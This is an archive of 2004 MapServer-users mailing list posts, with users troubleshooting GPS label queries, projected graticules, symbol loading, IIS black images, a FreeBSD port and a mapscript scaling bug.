'33' would also be useful. --strk; > > > Vladimir Ilich Guzm?n R. > ------------------------ > http://maintask.com > > > > strk wrote: > > >On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > > > > > >>Hello. > >>I'm implementing a gps tracking system. > >>I want to show the car's orientation like this: > >>http://maintask.com/test.png > >>The layer's data is something like this: > >>----------------------------- > >>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1 > >>----------------------------- > >>The field 'sentido' contains '>'. > >> > >>The problem is that if I use something like this: > >>----------------------------- > >>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1 > >>----------------------------- > >>The query doesn't work. > >> > >>So I had to create a column in potgres called 'sentido' and all the rows > >>containing '>'. > >> > >>Is this a bug? > >> > >> > > > >What's the error message ? > >Can you run the query from the pgsql monitor ? > >--strk; > > > > > > > >>The rest of the layer: > >> > >>LAYER > >>NAME "puntosgps" > >>CONNECTIONTYPE postgis > >>CONNECTION "user=gps password=gps dbname=gps host=localhost" > >>DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1" > >>TYPE POINT > >>PROJECTION > >>"proj=latlong" > >>"datum=WGS84" > >>END > >>LABELANGLEITEM 'rumbo' > >>LABELITEM 'sentido' > >>CLASS > >> NAME 'Parado' > >> EXPRESSION ([velocidad] = 0) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 0 0 215 > >> OUTLINECOLOR 204 204 204 > >>END > >>CLASS > >> NAME '0-10' > >> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 255 255 204 > >> OUTLINECOLOR 204 204 204 > >> LABEL > >> TYPE TRUETYPE > >> FORCE TRUE > >> FONT arial > >> ANTIALIAS TRUE > >> COLOR 0 0 0 > >> OUTLINECOLOR 255 255 255 > >> SIZE 8 > >> END > >>END > >>... > >>... > >> > >>Thanks a lot. > >> > >>-- > >>Vladimir Ilich Guzm?n R. > >>------------------------ > >>http://maintask.com > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list > >>Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > >> > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak at medinaco.org Tue Jun 1 09:10:13 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 01 Jun 2004 12:10:13 -0400 Subject: [Mapserver-users] Mouse over event in mapserver layer point Message-ID: <20040601161002.944EB1A659B@mail.medinaco.org> I don't know if this will help: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0404/msg00812.html Lowell The following message was sent by Carmelo Fazio on Tue, 01 Jun 2004 16:06:18 +0200. > Hi all, > i'd like build a mapserver where each point, marked by a pixmap symbol, > when mouse is over provide some pop-up information like Overlib. > Someone know if is possible and is yes how? > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jenu_ab at hotmail.com Tue Jun 1 09:47:44 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Tue, 01 Jun 2004 11:47:44 -0500 Subject: [Mapserver-users] Symbol - GIF pixmap - parsing problem Message-ID: i'm facing a very peculiar problem when i was testing Symbol Pixmap ...everything worked fine with a gif file "north.gif" which i had downloaded from an example for mapserver... now i tried to develop my own image of a comapss . I converted it to "north.gif". When i tried to run this.....it gave a "loadsymbol().Unable to access file. Parsing error near(my image path)" when i again used my old image it worked can somebody tell me why.? I haVE CHECKED the image does exist at the path.... jenu _________________________________________________________________ Is your PC infected? Get a FREE online computer virus scan from McAfee? Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From mweinelt at planiglobe.com Tue Jun 1 10:02:57 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Tue, 1 Jun 2004 19:02:57 +0200 Subject: [Mapserver-users] GRID problems Message-ID: <200406011902.57138.mweinelt@planiglobe.com> Dear list, last couple of days I tried to add a geographic grid to maps of the following projection: geographic, LAEA north pole, LAEA south pole, Mercator. While it went fine with the lon/lat maps I am facing problems with the projected maps. For both of the polar aspect maps, the central parts of the maps (around the poles) either get no graticule or the CGI crashes while trying to render the map. With the Mercator map erroneous meridians get rendered from the northen map boundary to the center of the projection (0/0). Zooming to this center sometimes also crashes the CGI. Obviously the problem is to project the grid in special (projection dependent) parts. Am I missing s/thing or can somebody comment on my problem? The following is an example of my mapfiles for the LAEA North projection - the others are similar. ### MAP: ##### PROJECTION "proj=laea" "lat_0=90" "lon_0=0" "x_0=0" "y_0=0" "units=m" "ellps=WGS84" "datum=WGS84" END ### THE GRID ##### LAYER NAME "Graticule" PROJECTION "proj=latlong" "ellps=WGS84" "datum=WGS84" END TYPE LINE STATUS DEFAULT CLASS SYMBOL "line" SIZE 2 COLOR 120 120 120 LABEL [ .... ] END # label END # class GRID MINSUBDIVIDE 64 MAXSUBDIVIDE 64 MAXARCS 6 LABELFORMAT "DDMM" END END Thanks, Martin From zak-ms at hoppsan.org Tue Jun 1 10:03:45 2004 From: zak-ms at hoppsan.org (Zak James) Date: Tue, 1 Jun 2004 13:03:45 -0400 Subject: [Mapserver-users] virtual spatial data-ODBC:configuration-windows In-Reply-To: References: Message-ID: Jenu, Good news! Consider adding your experiences in using the virtual driver under windows to the wiki page: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData so that others can benefit. Frank Warmerdam recently added code to the mapserver CVS to report the CPLGetLastErrorMsg() if OGR Open fails; once that is available in windows builds, it should make it easier to determine what is going wrong with failing virtual driver connections. zak On May 28, 2004, at 3:44 PM, Jenu Abraham wrote: > Hey guys (chip, joost, zac) > > Got the problem fixed.... > Its simple... > > when setting up the ODBC for the system DSN > > In the window where it asks which type of authentication- > go for the > with SQL server instead of Windows NT > > next rember to check the Connect SQL servere to obtain default > settings and enter the username and password > > --------------------------- > > the problem was ogrinfo was working still with windowsNT > authentication and with SQL server without obtaining the default > settings... But mapserver.exe wont work with those settings... > > > ---------------- > > even though i havnt been able to plot a point on my map... atleast the > connection problem is over for now.... > > thanks > cheers > > jenu > > _________________________________________________________________ > FREE pop-up blocking with the new MSN Toolbar ? get it now! > http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From JWiley at city.parksville.bc.ca Tue Jun 1 10:14:35 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Tue, 01 Jun 2004 10:14:35 -0700 Subject: [Mapserver-users] localhost works but using IP address givesblackimages Message-ID: Hi Tyler, To describe our situation a little more... Basically its the Itasha demo that I re-invented to Parksville... as I have a basic understanding of HTML. Yes, we are only using IIS as the web server throughout and only using windows client web browsers (just me). Currently I am just using two computers to test on. After changing the (All Unassigned) to the IP address on the Gisserver in the Default Web Properties/Web Site dialog, the "Browser" address works with the IP address as well as "Localhost" on the Gisserver fine which displays the maps...however the "client" browser still displays black images when connecting to the Gisserver using the IP address. Going to download complied binary for png instead of gif as suggested by Randy ... also I'm BackCopying our IT professional John Rice who is now helping me on site. He was asking if there are any Frontpage extension issues as we are using version 2000 not 2003 and if there were any other IIs setting that may be javascript issues. Thanks, John Wiley >>> Tyler Mitchell 05/31/04 03:58pm >>> I think I understand - perhaps you can describe your setup a bit more so we know how you've got things running. Also, can you confirm that you are only using IIS as the web server throughout? And that you are using windows client web browsers. Tyler "John Wiley" wrote on 05/31/2004 03:58:11 PM: > Either computer will run using localhost in the address ie.http: > //localhost/parksville/pville_init.html within itself but not using > an ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html > . from a "client" to the "gisserver" > I hope i'm explaining this okay. > > John > > >>> Tyler Mitchell 05/31/04 03:38pm >>> > Just to confirm - does it run fine from any machine - i.e. locally on the > server? > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > > > I hope there is an easy solution here and I promise to help others > > in my steps!... > > Once I got the second computer working with Mapserver using > > "localhost" then changing to point to an IP address using a remote > > computer browser hitting the ip address of the > > "gisserver"... which does run the program and writes the GIF files > > to the tmp directory however I get the "black" images again!. The > > server is writing them okay...on the /temp > > directory... just not being displayed on the client's > > browser.... any suggestions? I checked permissions and II2 settings > > ... and still no luck. > > > > John Wiley, > > Gis Technician > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From thaxter at gomoos.org Tue Jun 1 14:48:23 2004 From: thaxter at gomoos.org (Jason Thaxter) Date: Tue, 1 Jun 2004 17:48:23 -0400 Subject: [Mapserver-users] FreeBSD port In-Reply-To: <87ekp9z5r6.wl@delta.meridian-enviro.com> References: <87ekp9z5r6.wl@delta.meridian-enviro.com> Message-ID: <20040601214823.GD1427@whitehead.gomoos.org> --yrj/dFKFPuw6o+aM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline I made a PostGIS port (attached). It might be useful, or it may not work in your particular circumstance. On Mon, May 24, 2004 at 07:53:49PM -0500, Douglas K. Rand wrote: > I have for quite a while wanted a mapserver entry in the FreeBSD ports > collection (http://www.freebsd.org/ports) so that I could install > Mapserver really easily on my FreeBSD boxes. Well, since > procrastination didn't seem to be doing the trick, I decided to see if > doing actual work would help. I'm sorry to report that it seems to > have helped. :) > > I have a specific question about the configuration of mapserver and > GD. Assuming that GD was correctly built and that the GD build > includes JPEG, PNG, and FreeType (all of which are true if you build > GD via the FreeBSD port) is it safe to leave off the --with-jpeg, > --with-png, and --with-freetype options to mapserver's configure > script? I have done so, and it seems to be working. Be careful that this isn't an accident... The best way to do this sort of thing is to check the output of ./configure carefully and see if it's checking for the presence of these libraries and autodetecting them correctly. > The issue is that > by having the Mapserver port depend on the GD port, GD gets built just > fine and includes JPEG, PNG, and FreeType, and I don't want to > duplicate those paths in the Mapserver port. This is a good thing - the FreeBSD port of GD requires, so you can safely assume they are installed. > > Here, for your review and comments, is a FreeBSD port for Mapserver. > The knobs for TIFF, MING, PDF, WMS, GDAL, POSTGRESQL, and PHP are > largely untested, they are my attempt to make the port complete. We > don't use those features of Mapserver. Perhaps you'd want to dump the Postgresql knob in favor of a PostGIS knob, which would take care of it for you? One thing I know my port lacks, because it's complicated, is support for Postgresql versions other than the "current" version; that's not done elegantly. > > Any and all comments are welcome. I'm heading over to the bike shed > now. Good luck! -- ---------------------------------------------- Jason Thaxter GoMOOS, P.O. Box 4919, Portland, ME 04112-4919 Office Location: 1 Canal Plaza, 7th Floor Office: 207.773.0423 Fax: 207.773.8672 Email: thaxter at gomoos.org ------------www.gomoos.org-------------------- --yrj/dFKFPuw6o+aM Content-Type: application/x-tar-gz Content-Disposition: attachment; filename="postgis-port.tgz" Content-Transfer-Encoding: base64 H4sIAATfq0AAA+1YbW/aSBDOV/ZXzLWJ2uiC8SukqNyVgJvSBshh0nw5CS32Am78wnmX0lyV /36zxqbQtEGVUO5O9SMh7J3ZednZ2Zm1RwUdU854ZR5zMfV55WDvUFVTrVkW/qtazdI2/3Mc aKpq6TWrZpjGgaoZlmEdgLV/U+5jwQVNAA7C+JPPHuDbRf+fwrsX//nNtOwx7iZ706FicKum +d3413RjFX9dM0wNxzXL0DD+6t4seAA/efzJJYb9vOMA9TwOfDGfx4mASZzAlMXThM5nvgvx +ANzBQcRg5gxkFOmCXP+uMgo5YQFVPhxRAOSbygFOhGwyQTJJ5ArecLnyEeD4BZYRMcB40++ lshZ8pElJwSZ4qUfTcEXUu+YwYIzDygHCmPq3rDIg0wa5Dq/ttuPcCBMLSP8lgsWcniOdhyf QLhwZxD4NwxsZ9B5xsFp24Cz+wl1AybfM9nsk2ARRwlK7gWZxNI2nlren7Mo9czxw3nA4DWj YpEwOZ+5/sR3U+2pYejdE6Bo9tIPAnSI8MU49IVAryTZjVGATyOXgWBcSNepAFwLqRw0RVUI ub6+rsNMiHm9kuerkrAJ2iy1cCViokJ+KP7389/zpfJJvL89tiv/1Vr16/zXrWqR/4+BbtuC 51noy6pyqmgKrocy/fsYGqDr1dOJarxg5otTRqkxsaiqW6f0hUmtGjPVH9tqBf6DuJ//XXrD Jn6wx72+I/91mexp/huqVjXT/NeqWpH/j4GnWODqgjdM8hTrW4JF3sXqxtJ6AmG2FWR9qpfm qyLN/wrK2V7BOW0qGLgJVj3m1Usp3i6wvGvaCeiqaiDL9SwOMxISKUfBwxnFsprAS7F6eDWN wzjmSpxMfyNPcc7h64SxM6d9iG/ksj8Y9ppdu1Eq5Yrl0Ht74HT6vUYpPbZIqzm0z/uDju0g 33pbk27TGdqDkdMZSsKO2gl/EmlkxrVcLpUvhlW8eBkFMfV4ZVPoyLk6a3cGjdLh59zOO4IM nd4QfzYSSvedJK1+t2v3hkhsbjY/YewtVssNsqnI2jFCrhx7dN5tvpNLcItOyfeB3eldXjRb dgNAjpHBVW/Uti/tXtsplRrrcNVXhjlo5F1FPjvD84GN2kZy+E4u79bI75vLV/kS9NomY7b2 yFtTTEUnl+dy1Bm0Gg9rqyzj5GZDaHmLJZOKNp1ddS7aa2/Sxc013K1PKGUaxGMa7HCw7sbR xJ9iU0bkCo7s3nssbVsGr0UTovgT+MVD8RHznl93hm/6V8PR5aD/9phcdM5yi37FNYd5En9Q jC3tWeOJy4Y0orCAM4K2r0M1anXbd1Bm8IzXZQyl4Ib65VGrP4PDz9eDd1t+oqDI8yeEyHUr Y0Mq92z9QcHndt9BaetH9duCVxL9CM/AIKhvO9/rS7/a/ZZzDKT06vBz9530EcXIMflIFLlR fWyzwYvdykyEQcpot970JV+n5wybFxejdnPYvNtQf+hvCFlNkx6isLWnih+5wcJj8HLMPUUm gRLe/Fb0G3vHt+//eBHhYm86dvX/pq7l9V83VSO9/5tGUf8fA2M/qsyneBLrfDYn8g3/9XSE BP5446heF00ef5+iqITPaMI2qXj+igQnfJ+yno9KdzGNFhGeUA+zZt8FRljeR3jvf5h5YDfb XVvJO4t/OyCPjG/nf8g4p9N9bfdd+a+r5sb9X5f5XzXMIv8fA/mXuRnlMGYsgqwZYJ4C4DCW fuTC6r4IWSRW37L8iBwd5b3B0dEqsWQDkO+g7YySX+9kj/0RrwjEF7JbuI0XyfqjnfKzpVyB AgUKFChQoECBAgUKFCjw6PgH3OAFzgAoAAA= --yrj/dFKFPuw6o+aM-- From ed at topozone.com Tue Jun 1 10:40:39 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 1 Jun 2004 13:40:39 -0400 Subject: [Mapserver-users] localhost works but using IPaddress givesblackimages Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB076FCF@ptolemy.topozone.com> John - If you are running the Itasca demo (more or less) and the client is retrieving pages that have BLACK images (rather than missing or blank ones), but the rest of the HTML page looks normal, then there's nothing wrong with the IP address. If the client could not access the server you would get no page at all. A BLACK image typically means that there is no cartographic data displayed in the extents requested, and you're seeing the black background created by an IMAGECOLOR 0 0 0 in the MAP file. If you're getting black images, then MapServer is working correctly and is hard at work generating and serving black pictures to you . So.... What map extents are the client requesting? Is the "initialization" of the demo the same on the client and on the server? What is the URL in the browser when the black image appears? Compare it to the (complete) URL on the server when the correct map appears. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John Wiley Sent: Tuesday, June 01, 2004 1:15 PM To: TMitchell at lignum.com; mapserver-users-admin at lists.gis.umn.edu Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] localhost works but using IPaddress givesblackimages Hi Tyler, To describe our situation a little more... Basically its the Itasha demo that I re-invented to Parksville... as I have a basic understanding of HTML. Yes, we are only using IIS as the web server throughout and only using windows client web browsers (just me). Currently I am just using two computers to test on. After changing the (All Unassigned) to the IP address on the Gisserver in the Default Web Properties/Web Site dialog, the "Browser" address works with the IP address as well as "Localhost" on the Gisserver fine which displays the maps...however the "client" browser still displays black images when connecting to the Gisserver using the IP address. Going to download complied binary for png instead of gif as suggested by Randy ... also I'm BackCopying our IT professional John Rice who is now helping me on site. He was asking if there are any Frontpage extension issues as we are using version 2000 not 2003 and if there were any other IIs setting that may be javascript issues. Thanks, John Wiley >>> Tyler Mitchell 05/31/04 03:58pm >>> I think I understand - perhaps you can describe your setup a bit more so we know how you've got things running. Also, can you confirm that you are only using IIS as the web server throughout? And that you are using windows client web browsers. Tyler "John Wiley" wrote on 05/31/2004 03:58:11 PM: > Either computer will run using localhost in the address ie.http: > //localhost/parksville/pville_init.html within itself but not using an > ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html > . from a "client" to the "gisserver" > I hope i'm explaining this okay. > > John > > >>> Tyler Mitchell 05/31/04 03:38pm >>> > Just to confirm - does it run fine from any machine - i.e. locally on the > server? > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > > > I hope there is an easy solution here and I promise to help others > > in my steps!... > > Once I got the second computer working with Mapserver using > > "localhost" then changing to point to an IP address using a remote > > computer browser hitting the ip address of the "gisserver"... which > > does run the program and writes the GIF files to the tmp directory > > however I get the "black" images again!. The server is writing them > > okay...on the /temp directory... just not being displayed on the > > client's browser.... any suggestions? I checked permissions and II2 > > settings ... and still no luck. > > > > John Wiley, > > Gis Technician > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From msoto002 at eresmas.com Tue Jun 1 10:41:34 2004 From: msoto002 at eresmas.com (m soto .) Date: Tue, 01 Jun 2004 17:41:34 GMT Subject: [Mapserver-users] MrSid and jpeg Message-ID: <131dac3ec.c3ec131da@ma12.eresmas.com> =3Ctable border=3D0 width=3D=22100=25=22 cellpadding=3D=228=22 cellpaddi= ng=3D=228=22=3E=3Ctr=3E=3Ctd bgcolor=3D=22=23ffffff=22=3E=3CP=3E=3CSPAN s= tyle=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT-FAMILY=3A monos= pace=22=3EHi list!=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3EI need put into my Mapserver some photos in MrS= id=2C but I can=27t get it=2E I have turned it into =2Ejpeg extension=2E=3C= BR=3EMy file has this information=3A=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3EOUTPUTFORMAT=3CBR=3E=26nbsp=3BNAME jpeg=3CBR=3E= =26nbsp=3BDRIVER =22GD/JPEG=22=3CBR=3E=26nbsp=3BMIMETYPE =22image/jpeg=22= =3CBR=3E=26nbsp=3BIMAGEMODE RGB=3CBR=3E=26nbsp=3BEXTENSION =22jpg=22=3CBR= =3EEND=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3ELAYER=3CBR=3E=26nbsp=3BTYPE RASTER=3CBR=3E=26nb= sp=3BSTATUS DEFAULT=3CBR=3E=26nbsp=3BNAME =22orto=22=3CBR=3E=26nbsp=3BDAT= A =22jpeg/orto5mv30f285130cor03=2Ejpg=22=3CBR=3E=26nbsp=3BPROCESSING =22B= ANDS=3D1=2C2=2C3=22=3CBR=3E=26nbsp=3BOFFSITE 0 0 0=3CBR=3E=26nbsp=3BCLASS= =3CBR=3E=26nbsp=3B NAME =27Digital Raster Graphic=27=3CBR=3E=26nbsp=3B KE= YIMAGE jpeg/orto5mv30f285130cor03=2Ejpg=3CBR=3E=26nbsp=3BEND=3CBR=3EEND=3C= BR=3E=2E=2E=2E=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3EI don=27t Know if =22the problem=22 is because = of this=3A=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3E=26lt=3B!-- MapServer version 4=2E0 OUTPUT=3DGI= F OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP OUTPUT=3DPDF OUTPUT=3DSWF SUPP= ORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS=5FSERVER SUPPORTS=3DWMS=5F= CLIENT SUPPORTS=3DWFS=5FSERVER SUPPORTS=3DWFS=5FCLIENT INPUT=3DEPPL7 INPU= T=3DPOSTGIS INPUT=3DOGR INPUT=3DGDAL INPUT=3DSHAPEFILE --=26gt=3B=3C/SPAN= =3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3EThank you in advance=2E=3C/SPAN=3E=3C/P=3E =3CP=3E=3CSPAN style=3D=22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT= -FAMILY=3A monospace=22=3EAdeu=2E Maria=2E=3C/SPAN=3E=3C/P=3E=3C/td=3E=3C= /tr=3E=3C/table=3E=3Cbr=3E=3Cbr=3E=3Cspan style=3D=22font-family=3Amonosp= ace=22=3E----------------------------------------------------------------= -------=3C/span=3E=3Cbr=3E=3Cspan style=3D=22font-family=3Averdana=3Bfont= -size=3A11px=3B=22=3ESupersorteo=2Ecom =3A=3A =BFQuieres ganar 1=2E000=2E= 000 =80 y ser millonario=3F Ahora puedes conseguirlo=2E =A1Entra!=3Cbr=3E= =3Ca href=3D=22http=3A//banner=2Eeresmas=2Ecom/adclick/CID=3D000056b9c858= 344d00000000/site=3DERESMAS/area=3DERESMAS=2ECORREO/aamsz=3DPIE=5FWEBMAIL= =22 target=3D=22=5Fblank=22=3Ehttp=3A//www=2Eeresmas=2Ecom/banners/ventas= /clientes/zanox/webmail=5Fsupersorteo=2Ehtml=3C/a=3E=3C/span=3E=3Cbr=3E From hrz at geodata.soton.ac.uk Tue Jun 1 10:47:22 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Tue, 1 Jun 2004 18:47:22 +0100 Subject: [Mapserver-users] Mapscript $layerObj->draw($imageObj) bug? Message-ID: <20040601174722.GC19489@truffles.geodata.soton.ac.uk> --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I have a mapscript problem: Using the draw method of a layerObj instance doesn't seem to correctly draw scaled symbols; I am attempting to set a point layer's SIZEUNITS property to KILOMETERS in an effort to draw a scaled buffer (see attached test.map for minimalist mapfile). Calling shp2img on this mapfile produces an image with a correctly scaled symbol. Creating the image with the the mapObj's draw method also works correctly (see attached output image map_draw.png). Using the layerObj's draw method, however, seems to ignore the SIZEUNITS setting and uses the default scaling of pixels (see attached output image layer_draw.png). This issue exists in PHP mapscript and Python mapscript. See the attached files test.php and test.py for scripts demonstrating the problem. I'm using mapscript and mapserver 4.2.0. This problem manifested itself in 4.0.1 but I upgraded before investigating further. I've searched the archives but could find no mention of this problem. Am I missing something here or is this a bug? If I don't hear back I'll file it in bugzilla... Kind regards, Homme Zwaagstra --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="test.map" MAP NAME TEST STATUS ON #EXTENT 418917.11 64936.18 494853.73 115804.77 # large extent EXTENT 439537 89319.1 460612 104483 # small extent UNITS METERS IMAGECOLOR 200 200 255 SIZE 261 175 SYMBOLSET "test.sym" LAYER NAME "point" TYPE POINT STATUS ON SIZEUNITS KILOMETERS FEATURE POINTS 450074 97030 END END CLASS STYLE OUTLINECOLOR 255 0 0 COLOR 255 0 0 SIZE 4 SYMBOL "circle" END END END END --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="test.sym" SYMBOL NAME "circle" TYPE ELLIPSE FILLED TRUE POINTS 1 1 END END --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="test.php" draw(); // comment out this line to return imageObj with buggy symbol $image = $map->prepareImage(); $layer = $map->getLayerByName('point'); $layer->draw($image); return $image; } $map = ms_newMapObj('test.map'); $image = get_image($map); // get the imageObj $image->saveImage('/tmp/test.png'); ?> --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="test.py" # returns an imageObj def get_image(map): return map.draw() # comment out this line to return imageObj with buggy symbol image = map.prepareImage() layer = map.getLayerByName('point') layer.draw(map, image) return image import mapscript map = mapscript.mapObj('test.map') image = get_image(map) # get the imageObj image.save('/tmp/test.png') --vkogqOf2sHV7VnPd Content-Type: image/png Content-Disposition: attachment; filename="map_draw.png" Content-Transfer-Encoding: base64 iVBORw0KGgoAAAANSUhEUgAAAQUAAACvAQMAAAG5r2l4AAAABlBMVEXIyP//AADhJLQQAAAA 9UlEQVR4nO2XzQ2DMAyFiXLgmG7QURgNRssoGYEjB1S3IEHAjuqgQoSq9x0s62ElxvmvqsP4 yZgwWdtvbIj65XSxR2mNL5KDih0Wz42r95JevX6twvVZ3ZM4ZnW/eC5Rv2emt6n42kps+S4z BJyBI6405JlC1O8FQzRoiiUatRipyL4S+cicAQAlsXzhbs7khYY6prSJvSVoikntP0yxqf2n mJKTYc6fJuojayjrLMcCAAAAKMpDC2jEjZ/xOTmV670jeXDyTuTDYk9L4nki0/ieiJ0jup8i 6jnC/0XEGfXQq66PXMbo6zNIn4X6TM5YDQAAkMsb0b7VKG9JJp4AAAAASUVORK5CYII= --vkogqOf2sHV7VnPd Content-Type: image/png Content-Disposition: attachment; filename="layer_draw.png" Content-Transfer-Encoding: base64 iVBORw0KGgoAAAANSUhEUgAAAQUAAACvAQMAAAG5r2l4AAAABlBMVEXIyP//AADhJLQQAAAA NklEQVR4nO3OoREAIAwEwZSFpBRKpxQcJggEM0Tsyp8THwHAwfh9AGDraZkXDQBAPe1BAUBh Cxh0AjG8NnTVAAAAAElFTkSuQmCC --vkogqOf2sHV7VnPd-- From NamnatSR at NV.DOE.GOV Tue Jun 1 10:47:51 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Tue, 1 Jun 2004 10:47:51 -0700 Subject: [Mapserver-users] How do I get the extent values? Message-ID: <89E34224EAFDD411B6AD0002A529187F207528@stl-exchpo1-nt.nv.doe.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-cde7d697-bc51-4a44-842f-3ba57625af55 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C44800.8F1C6860" Content-Transfer-Encoding: 7bit ------_=_NextPart_001_01C44800.8F1C6860 Content-Type: text/plain Content-Transfer-Encoding: 7bit I am trying to show my map using MapServer & PHP. However, I can't seem to figure out how to get the extent valuies Here is my .map file MAP NAME HELLO IMAGETYPE PNG STATUS ON EXTENT 0 0 4000 3000 SIZE 400 300 WEB IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/" IMAGEURL "tmp/" END LAYER # MODIS raster layer begins here NAME Italy DATA "data/Italy.jpg" STATUS DEFAULT TYPE RASTER PROCESSING "BANDS=1,2,3" OFFSITE 71 74 65 PROJECTION "init=epsg:4326" END END # MODIS raster layer ends here END In the MapServer tutorial, it says that I can use ArcView to determine the extent. I have ArcView, but I still can't figure out how to get the extent in it. I've tried a couple of different values from Area Of Interest (Display & View), but none of those seem to work either. Thanks for any help in advance, Sharyn ------_=_NextPart_001_01C44800.8F1C6860 Content-Type: text/html Content-Transfer-Encoding: 7bit

I am trying to show my map using MapServer & PHP.  However, I can't seem to figure out how to get the extent valuies

 

Here is my .map file

 

MAP

    NAME HELLO

    IMAGETYPE      PNG

    STATUS ON

    EXTENT 0 0 4000 3000

    SIZE 400 300

 

    WEB

        IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/"

        IMAGEURL "tmp/"

    END

 

LAYER # MODIS raster layer begins here

  NAME         Italy

  DATA         "data/Italy.jpg"

  STATUS       DEFAULT

  TYPE         RASTER

  PROCESSING   "BANDS=1,2,3"

  OFFSITE      71 74 65

 

  PROJECTION

    "init=epsg:4326"

  END

END # MODIS raster layer ends here

 

END

 

In the MapServer tutorial, it says that I can use ArcView to determine the extent. I have ArcView, but I still can't figure out how to get the extent in it.  I've tried a couple of different values from Area Of Interest (Display & View), but none of those seem to work either.

 

Thanks for any help in advance,

Sharyn

